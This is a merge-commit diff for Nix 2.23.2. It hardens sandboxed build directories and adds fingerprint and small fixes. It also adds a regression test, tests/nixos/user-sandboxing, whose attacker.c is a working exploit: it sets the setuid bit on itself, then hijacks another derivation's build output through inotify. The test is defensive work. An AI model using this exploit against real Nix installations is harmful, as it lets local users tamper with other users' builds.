Merge pull request #11045 from NixOS/backport-11031-to-2.23-maintenance

[Backport 2.23-maintenance] libstore: fix sandboxed builds on macOS

.version

@@ -1 +1 @@
-2.23.0
+2.23.2

build/hydra.nix

@@ -98,7 +98,7 @@ in
   installerScriptForGHA = installScriptFor [
     # Native
     self.hydraJobs.binaryTarball."x86_64-linux"
-    self.hydraJobs.binaryTarball."x86_64-darwin"
+    self.hydraJobs.binaryTarball."aarch64-darwin"
     # Cross
     self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
     self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"

doc/manual/rl-next/harden-user-sandboxing.md

@@ -0,0 +1,6 @@
+---
+synopsis: Harden the user sandboxing
+significance: significant
+---
+
+The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

flake.nix

@@ -26,7 +26,7 @@
       inherit (nixpkgs) lib;
       inherit (lib) fileset;
 
-      officialRelease = false;
+      officialRelease = true;
 
       version = lib.fileContents ./.version + versionSuffix;
       versionSuffix =
@@ -169,7 +169,7 @@
 
           nix =
             let
-              officialRelease = false;
+              officialRelease = true;
               versionSuffix =
                 if officialRelease
                 then ""
@@ -181,7 +181,7 @@
                 stdenv
                 versionSuffix
                 ;
-              officialRelease = false;
+              officialRelease = true;
               boehmgc = final.boehmgc-nix;
               libgit2 = final.libgit2-nix;
               libseccomp = final.libseccomp-nix;

src/libexpr/flake/flake.cc

@@ -949,10 +949,20 @@ std::optional<Fingerprint> LockedFlake::getFingerprint(ref<Store> store) const
     auto fingerprint = flake.lockedRef.input.getFingerprint(store);
     if (!fingerprint) return std::nullopt;
 
+    *fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile);
+
+    /* Include revCount and lastModified because they're not
+       necessarily implied by the content fingerprint (e.g. for
+       tarball flakes) but can influence the evaluation result. */
+    if (auto revCount = flake.lockedRef.input.getRevCount())
+        *fingerprint += fmt(";revCount=%d", *revCount);
+    if (auto lastModified = flake.lockedRef.input.getLastModified())
+        *fingerprint += fmt(";lastModified=%d", *lastModified);
+
     // FIXME: as an optimization, if the flake contains a lock file
     // and we haven't changed it, then it's sufficient to use
     // flake.sourceInfo.storePath for the fingerprint.
-    return hashString(HashAlgorithm::SHA256, fmt("%s;%s;%s", *fingerprint, flake.lockedRef.subdir, lockFile));
+    return hashString(HashAlgorithm::SHA256, *fingerprint);
 }
 
 Flake::~Flake() { }

src/libexpr/get-drvs.cc

@@ -82,8 +82,7 @@ std::optional<StorePath> PackageInfo::queryDrvPath() const
         } else
             drvPath = {std::nullopt};
     }
-    drvPath.value_or(std::nullopt);
-    return *drvPath;
+    return drvPath.value_or(std::nullopt);
 }
 
 

src/libexpr/primops.cc

@@ -79,7 +79,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
     if (drvs.empty()) return {};
 
     if (isIFD && !evalSettings.enableImportFromDerivation)
-        error<EvalError>(
+        error<EvalBaseError>(
             "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
             drvs.begin()->to_string(*store)
         ).debugThrow();

src/libexpr/print.cc

@@ -278,7 +278,7 @@ private:
             storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
         }
 
-        /* This unforutately breaks printing nested values because of
+        /* This unfortunately breaks printing nested values because of
            how the pretty printer is used (when pretting printing and warning
            to same terminal / std stream). */
 #if 0

src/libfetchers/fetchers.cc

@@ -260,6 +260,7 @@ std::pair<ref<SourceAccessor>, Input> Input::getAccessorUnchecked(ref<Store> sto
 
     auto [accessor, final] = scheme->getAccessor(store, *this);
 
+    assert(!accessor->fingerprint);
     accessor->fingerprint = scheme->getFingerprint(store, final);
 
     return {accessor, std::move(final)};
@@ -418,7 +419,7 @@ namespace nlohmann {
 using namespace nix;
 
 fetchers::PublicKey adl_serializer<fetchers::PublicKey>::from_json(const json & json) {
-    fetchers::PublicKey res = {  };
+    fetchers::PublicKey res = { };
     if (auto type = optionalValueAt(json, "type"))
         res.type = getString(*type);
 

src/libfetchers/github.cc

@@ -433,7 +433,7 @@ struct GitLabInputScheme : GitArchiveInputScheme
                 store->toRealPath(
                     downloadFile(store, url, "source", headers).storePath)));
 
-        if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) {
+        if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) {
           return RefInfo {
               .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)
           };

src/libfetchers/tarball.cc

@@ -365,6 +365,16 @@ struct TarballInputScheme : CurlInputScheme
 
         return {result.accessor, input};
     }
+
+    std::optional<std::string> getFingerprint(ref<Store> store, const Input & input) const override
+    {
+        if (auto narHash = input.getNarHash())
+            return narHash->to_string(HashFormat::SRI, true);
+        else if (auto rev = input.getRev())
+            return rev->gitRev();
+        else
+            return std::nullopt;
+    }
 };
 
 static auto rTarballInputScheme = OnStartup([] { registerInputScheme(std::make_unique<TarballInputScheme>()); });

src/libstore/unix/build/local-derivation-goal.cc

@@ -503,8 +503,24 @@ void LocalDerivationGoal::startBuilder()
 
     /* Create a temporary directory where the build will take
        place. */
-    tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+    topTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+#if __APPLE__
+    if (false) {
+#else
+    if (useChroot) {
+#endif
+        /* If sandboxing is enabled, put the actual TMPDIR underneath
+           an inaccessible root-owned directory, to prevent outside
+           access.
 
+           On macOS, we don't use an actual chroot, so this isn't
+           possible. Any mitigation along these lines would have to be
+           done directly in the sandbox profile. */
+        tmpDir = topTmpDir + "/build";
+        createDir(tmpDir, 0700);
+    } else {
+        tmpDir = topTmpDir;
+    }
     chownToBuilder(tmpDir);
 
     for (auto & [outputName, status] : initialOutputs) {
@@ -672,15 +688,19 @@ void LocalDerivationGoal::startBuilder()
            environment using bind-mounts.  We put it in the Nix store
            so that the build outputs can be moved efficiently from the
            chroot to their final location. */
-        chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
-        deletePath(chrootRootDir);
+        chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
+        deletePath(chrootParentDir);
 
         /* Clean up the chroot directory automatically. */
-        autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
+        autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
 
-        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
+        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
+
+        if (mkdir(chrootParentDir.c_str(), 0700) == -1)
+            throw SysError("cannot create '%s'", chrootRootDir);
+
+        chrootRootDir = chrootParentDir + "/root";
 
-        // FIXME: make this 0700
         if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
             throw SysError("cannot create '%1%'", chrootRootDir);
 
@@ -2952,7 +2972,7 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
 
 void LocalDerivationGoal::deleteTmpDir(bool force)
 {
-    if (tmpDir != "") {
+    if (topTmpDir != "") {
         /* Don't keep temporary directories for builtins because they
            might have privileged stuff (like a copy of netrc). */
         if (settings.keepFailed && !force && !drv->isBuiltin()) {
@@ -2960,7 +2980,8 @@ void LocalDerivationGoal::deleteTmpDir(bool force)
             chmod(tmpDir.c_str(), 0755);
         }
         else
-            deletePath(tmpDir);
+            deletePath(topTmpDir);
+        topTmpDir = "";
         tmpDir = "";
     }
 }

src/libstore/unix/build/local-derivation-goal.hh

@@ -27,10 +27,16 @@ struct LocalDerivationGoal : public DerivationGoal
     std::optional<Path> cgroup;
 
     /**
-     * The temporary directory.
+     * The temporary directory used for the build.
      */
     Path tmpDir;
 
+    /**
+     * The top-level temporary directory. `tmpDir` is either equal to
+     * or a child of this directory.
+     */
+    Path topTmpDir;
+
     /**
      * The path of the temporary directory in the sandbox.
      */
@@ -65,6 +71,16 @@ struct LocalDerivationGoal : public DerivationGoal
      */
     bool useChroot = false;
 
+    /**
+     * The parent directory of `chrootRootDir`. It has permission 700
+     * and is owned by root to ensure other users cannot mess with
+     * `chrootRootDir`.
+     */
+    Path chrootParentDir;
+
+    /**
+     * The root of the chroot environment.
+     */
     Path chrootRootDir;
 
     /**

src/libutil/file-system.cc

@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
     deletePath(path, dummy);
 }
 
+void createDir(const Path & path, mode_t mode)
+{
+    if (mkdir(path.c_str(), mode) == -1)
+        throw SysError("creating directory '%1%'", path);
+}
 
 Paths createDirs(const Path & path)
 {

src/libutil/file-system.hh

@@ -157,6 +157,11 @@ inline Paths createDirs(PathView path)
     return createDirs(Path(path));
 }
 
+/**
+ * Create a single directory.
+ */
+void createDir(const Path & path, mode_t mode = 0755);
+
 /**
  * Create a symlink.
  */

src/libutil/hash.cc

@@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const
 
 std::strong_ordering Hash::operator <=> (const Hash & h) const
 {
-    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
     for (unsigned int i = 0; i < hashSize; i++) {
         if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
     }
+    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     return std::strong_ordering::equivalent;
 }
 

src/nix-build/nix-build.cc

@@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv)
         // Set the environment.
         auto env = getEnv();
 
-        auto tmp = getEnvNonEmpty("TMPDIR");
-        if (!tmp)
-            tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp");
+        auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp");
 
         if (pure) {
             decltype(env) newEnv;
@@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv)
             env["__ETC_PROFILE_SOURCED"] = "1";
         }
 
-        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp;
+        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp;
         env["NIX_STORE"] = store->storeDir;
         env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);
 

src/nix/flake.cc

@@ -232,6 +232,8 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
                 j["lastModified"] = *lastModified;
             j["path"] = storePath;
             j["locks"] = lockedFlake.lockFile.toJSON().first;
+            if (auto fingerprint = lockedFlake.getFingerprint(store))
+                j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false);
             logger->cout("%s", j.dump());
         } else {
             logger->cout(
@@ -264,6 +266,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON
                 logger->cout(
                     ANSI_BOLD "Last modified:" ANSI_NORMAL " %s",
                     std::put_time(std::localtime(&*lastModified), "%F %T"));
+            if (auto fingerprint = lockedFlake.getFingerprint(store))
+                logger->cout(
+                    ANSI_BOLD "Fingerprint:" ANSI_NORMAL "   %s",
+                    fingerprint->to_string(HashFormat::Base16, false));
 
             if (!lockedFlake.lockFile.root->inputs.empty())
                 logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL);

src/nix/unix/daemon.cc

@@ -202,7 +202,11 @@ static PeerInfo getPeerInfo(int remote)
 
 #if defined(SO_PEERCRED)
 
-    ucred cred;
+# if defined(__OpenBSD__)
+   struct sockpeercred cred;
+# else
+   ucred cred;
+# endif
     socklen_t credLen = sizeof(cred);
     if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1)
         throw SysError("getting peer credentials");
@@ -210,9 +214,9 @@ static PeerInfo getPeerInfo(int remote)
 
 #elif defined(LOCAL_PEERCRED)
 
-#if !defined(SOL_LOCAL)
-#define SOL_LOCAL 0
-#endif
+# if !defined(SOL_LOCAL)
+# define SOL_LOCAL 0
+# endif
 
     xucred cred;
     socklen_t credLen = sizeof(cred);

tests/functional/check.sh

@@ -46,7 +46,10 @@ test_custom_build_dir() {
       --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
   [ "$status" = "100" ]
   [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
-  local buildDir="$customBuildDir/nix-build-"*
+  local buildDir="$customBuildDir/nix-build-"*""
+  if [[ -e $buildDir/build ]]; then
+      buildDir=$buildDir/build
+  fi
   grep $checkBuildId $buildDir/checkBuildId
 }
 test_custom_build_dir

tests/functional/flakes/eval-cache.sh

@@ -7,12 +7,22 @@ requireGit
 flake1Dir="$TEST_ROOT/eval-cache-flake"
 
 createGitRepo "$flake1Dir" ""
+cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
+git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix
+git -C "$flake1Dir" commit -m "config.nix"
 
 cat >"$flake1Dir/flake.nix" <<EOF
 {
   description = "Fnord";
-  outputs = { self }: {
+  outputs = { self }: let inherit (import ./config.nix) mkDerivation; in {
     foo.bar = throw "breaks";
+    drv = mkDerivation {
+      name = "build";
+      buildCommand = ''
+        echo true > \$out
+      '';
+    };
+    ifd = assert (import self.drv); self.drv;
   };
 }
 EOF
@@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init"
 
 expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
 expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
+
+# Conditional error should not be cached
+expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
+  | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
+nix build "$flake1Dir#ifd"

tests/functional/flakes/flakes.sh

@@ -189,6 +189,7 @@ json=$(nix flake metadata flake1 --json | jq .)
 [[ -d $(echo "$json" | jq -r .path) ]]
 [[ $(echo "$json" | jq -r .lastModified) = $(git -C "$flake1Dir" log -n1 --format=%ct) ]]
 hash1=$(echo "$json" | jq -r .revision)
+[[ -n $(echo "$json" | jq -r .fingerprint) ]]
 
 echo foo > "$flake1Dir/foo"
 git -C "$flake1Dir" add $flake1Dir/foo

tests/nixos/default.nix

@@ -162,4 +162,6 @@ in
   ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 
   gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
+
+  user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
 }

tests/nixos/tarball-flakes.nix

@@ -66,6 +66,9 @@ in
     # Check that we got redirected to the immutable URL.
     assert info["locked"]["url"] == "http://localhost/stable/${nixpkgs.rev}.tar.gz"
 
+    # Check that we got a fingerprint for caching.
+    assert info["fingerprint"]
+
     # Check that we got the rev and revCount attributes.
     assert info["revision"] == "${nixpkgs.rev}"
     assert info["revCount"] == 1234

tests/nixos/user-sandboxing/attacker.c

@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags)
+{
+    return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char ** argv)
+{
+    if (argc <= 1) {
+        // stage 1: place the setuid-builder executable
+
+        // make the build directory world-accessible first
+        chmod(".", 0755);
+
+        if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
+            perror("Setting the suid bit on attacker");
+            exit(-1);
+        }
+
+    } else {
+        // stage 2: corrupt the victim derivation while it's building
+
+        // prevent the kill
+        if (setresuid(-1, -1, getuid())) {
+            perror("setresuid");
+            exit(-1);
+        }
+
+        if (fork() == 0) {
+
+            // wait for the victim to build
+            int fd = inotify_init();
+            inotify_add_watch(fd, argv[1], IN_CREATE);
+            int dirfd = open(argv[1], O_DIRECTORY);
+            if (dirfd < 0) {
+                perror("opening the global build directory");
+                exit(-1);
+            }
+            char buf[4096];
+            fprintf(stderr, "Entering the inotify loop\n");
+            for (;;) {
+                ssize_t len = read(fd, buf, sizeof(buf));
+                struct inotify_event * ev;
+                for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) {
+                    ev = (struct inotify_event *) pe;
+                    fprintf(stderr, "folder %s created\n", ev->name);
+                    // wait a bit to prevent racing against the creation
+                    sleep(1);
+                    int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+                    if (builddir < 0) {
+                        perror("opening the build directory");
+                        continue;
+                    }
+                    int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+                    if (resultfile < 0) {
+                        perror("opening the hijacked file");
+                        continue;
+                    }
+                    int writeres = write(resultfile, "bad\n", 4);
+                    if (writeres < 0) {
+                        perror("writing to the hijacked file");
+                        continue;
+                    }
+                    fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+                    return 0;
+                }
+            }
+        }
+
+        exit(0);
+    }
+}

tests/nixos/user-sandboxing/default.nix

@@ -0,0 +1,129 @@
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  attacker = pkgs.runCommandWith {
+    name = "attacker";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./attacker.c}
+  '';
+
+  try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    chmod 700 .
+    # Shouldn't be able to open the root build directory
+    (! chmod 700 ..)
+
+    touch foo
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    touch $out
+
+    set +x
+  '';
+
+  create-hello-world = pkgs.writeScript "create-hello-world" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    echo "hello, world" > result
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    cp result $out
+
+    set +x
+  '';
+
+in
+{
+  name = "sandbox-setuid-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      nix.nrBuildUsers = 1;
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
+      boot.kernelPackages = pkgs.linuxPackages_latest;
+      users.users.alice = {
+        isNormalUser = true;
+      };
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    with subtest("A builder can't give access to its build directory"):
+        # Make sure that a builder can't change the permissions on its build
+        # directory to the point of opening it up to external users
+
+        # A derivation whose builder tries to make its build directory as open
+        # as possible and wait for someone to hijack it
+        machine.succeed(r"""
+          nix-build -v -E '
+            builtins.derivation {
+              name = "open-build-dir";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${try-open-build-dir}") ];
+          }' >&2 &
+        """.strip())
+
+        # Wait for the build to be ready
+        # This is OK because it runs as root, so we can access everything
+        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+        # But Alice shouldn't be able to access the build directory
+        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
+        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
+        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
+
+        # Tell the user to finish the build
+        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
+
+    with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
+        machine.succeed(r"""
+          nix-build -E '
+            builtins.derivation {
+              name = "innocent";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${create-hello-world}") ];
+          }' >&2 &
+        """.strip())
+        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+        # The build ran as `nixbld1` (which is the only build user on the
+        # machine), but a process running as `nixbld1` outside the sandbox
+        # shouldn't be able to touch the build directory regardless
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
+
+        # Finish the build
+        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
+
+        # Check that the build was not affected
+        machine.succeed(r"""
+          cat ./result
+          test "$(cat ./result)" = "hello, world"
+        """.strip())
+  '';
+
+}
+